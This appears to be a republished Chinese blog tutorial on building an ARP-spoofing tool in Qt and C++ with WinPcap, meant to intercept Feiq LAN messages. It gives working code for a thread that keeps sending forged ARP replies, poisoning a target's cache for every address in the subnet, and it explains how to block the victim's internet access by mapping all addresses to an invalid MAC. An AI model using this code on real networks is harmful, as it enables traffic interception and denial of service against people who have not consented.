生活随笔
收集整理的這篇文章主要介紹了
Qt:Qt实现飞秋拦截助手—ARP攻击
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
Qt實現飛秋攔截助手—ARP攻擊
前言
繼續我們的飛秋攔截助手開發,上篇是Qt:Qt實現飛秋攔截助手—Mac地址掃描器 ,本篇將介紹 如何進行ARP攻擊,也叫ARP欺騙。
我們知道本機有個ARP緩存表 存儲的是IP地址和物理地址的映射 IP_A -> MAC_A 是一一對應的。我們這里還是拿 A、B、C 3臺主機做比喻,A和B通信,C是攻擊者。
ARP攻擊 就是,主機C 一直給 攻擊目標A發送ARP應答包,告訴他 我是IP_B,我的物理地址是MAC_C,然后 主機 A 就會更新 本機ARP緩存 IP_B ->MAC_C。這樣當主機A 上層應用想給 主機B 發送消息,進行組包后 在網卡層 目的mac本應該是MAC_B但是已經被我們的ARP攻擊一直欺騙著,這樣消息 就不會發送到MAC_B 而是會發送給 攻擊者MAC_C。
效果
先看看效果,在說。
這是界面,1.2是本機 也就是攻擊者,1.9 是虛擬機 攻擊目標,1.1是網關,1.3 1.4是2臺手機。
被攻擊者 虛擬機1.9的ARP緩存表 被攻擊后的數據 。已經被ARP欺騙了,局域網中的IP對應的mac地址已經被替換為攻擊者的mac地址了。
在看看 wireshark抓包情況
核心代碼
主要是 組一個 ARP應答包,一直發送給攻擊者,告訴他,局域網中所有的IP對應的mac地址是 攻擊者的Mac,正常的ARP緩存刷新大概是10分鐘,當你刷新為正確的,我這邊又給你覆蓋掉了,你就沒咒念了。這里ARP攻擊不光可以 屏蔽局域網,你可也攻擊對方讓對方上不了網,怎樣弄呢?將0.0.0.0 ~ 255.255.255.255的所有的IP對應的MAC地址全部替換為00:00:00:00:00:00無效的物理地址就可以了。同樣是利用一直循環發送ARP應答包來實現欺騙的。
下面是具體細節代碼,底層數據包發送使用的WinPcap庫,其他就是C++代碼 以及根據協議組包 和qt的知識了。
void ArpAttackThread::run(){if( this->mAdapterHandle == nullptr){qDebug() << "網卡設備沒有開啟";return;}char tmp[18] = {0};// 構造ARP請求包 ,2字節及以上的 存在大小端對齊問題,需要轉換為網絡字節序ArpPackage package;// 以太網 頭部memcpy(package.ethHead.destEthAddr,this->mAtkMacAddr,6);memcpy(package.ethHead.srcEthAddr,this->mCurMacAddr,6);package.ethHead.frameType = htons(0x0806);Utils::macToHexString(package.ethHead.srcEthAddr,tmp);// 構造ARP請求體內容package.arpBody.hardType = htons(1);// 以太網地址package.arpBody.protocolType = htons(0x0800); // IP地址package.arpBody.hardLen = 6;package.arpBody.protocolLen = 4;package.arpBody.op = htons(2); // ARP應答包memcpy(package.arpBody.destEthAddr,this->mAtkMacAddr,6);memcpy(package.arpBody.srcEthAddr,this->mCurMacAddr,6);Utils::htonN(reinterpret_cast<uint8_t*>(&this->mAtkIPAddr),package.arpBody.destIpAddr,4);// 發送ARP應答包 欺騙目的主機while(true){if(this->isAttack == false)break;// 發送ARP應答包,將攻擊目標 ARP緩存中的 局域網中所有的MAC地址 全部改為自己,達到ARP欺騙的目的// 如果想讓對方 不能上網,很簡單 將0.0.0.0-255.255.255.255 所有IP都給對應的MAC地址 改為無效的MAC 就能達到for(uint32_t ipAddr = mNetworkAddr+1; ipAddr < mBroadcastAddr; ipAddr++){if( ipAddr == this->mAtkIPAddr)continue;struct in_addr addr;addr.S_un.S_addr = htonl(ipAddr);qDebug() << inet_ntoa( addr);Utils::htonN(reinterpret_cast<uint8_t*>(&(ipAddr)),package.arpBody.srcIpAddr,4);int ret = pcap_sendpacket(this->mAdapterHandle,reinterpret_cast<unsigned char*>(&package),42);if( ret != 0){qDebug() << inet_ntoa( addr) << " 發送失敗!" ;}Sleep(100);}Sleep(3000);}// 關閉設備pcap_close(this->mAdapterHandle);// 已經停止ARP欺騙emit stopDone();
}
完整代碼
代碼是接著上篇 MAC地址掃描器寫的,這次的完整項目這里下載。
總結
以上是生活随笔為你收集整理的Qt:Qt实现飞秋拦截助手—ARP攻击的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。